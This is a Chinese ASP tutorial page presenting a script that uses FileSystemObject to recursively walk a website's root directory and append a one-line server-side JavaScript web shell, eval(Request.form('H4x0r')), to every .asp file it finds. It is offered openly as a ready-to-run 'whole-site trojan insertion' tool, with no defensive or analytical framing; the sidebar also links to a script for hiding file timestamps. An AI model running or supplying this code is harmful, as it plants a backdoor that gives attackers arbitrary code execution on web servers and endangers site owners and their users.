繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP > FSO遍历目录实现全站插马的代码
- ASP
- ASP视频教程:后台页面加入限制访问和禁用缓存功能
- ASP视频教程:制作网站前台首页
- ASP视频教程:备份和还原SQL Server 2000数据库
- ASP实例教程:asp无限级显示分类代码
- IIS无法启动错误的几种情况汇总
- asp Http_Referer,Server_Name和Http_Host
- ASP 调用带参数输出的COM接口
- 隐藏修改文件时间和文件属性的ASP脚本
- ASP Crazy 模版操作类(最简单的模板类、仅提供交流)
- asp 动态数组 提供Add、Insert、Remove、RemoveAt、Search等方法。
- asp 取一个数的整数 但不是四舍五入，只要有小数，就取大于这个数的整数
- asp 判断上传文件中是否存在危险代码
- asp 获取url函数小结
- ASP 调用dll及封装dll实例
- asp 实现的冒泡排序程序
- asp 自定义分段函数/求第N名成绩
- ASP 高级模板引擎实现类
- ASP 常见的连接字符串写法(access2007)
- ASP向Excel导数据(图片)终结版 ASP操作Excel
- ASP实现防止网站被采集代码
ASP 中的 FSO遍历目录实现全站插马的代码
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 233 ::
收藏到网摘: n/a
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
评论 (0) All
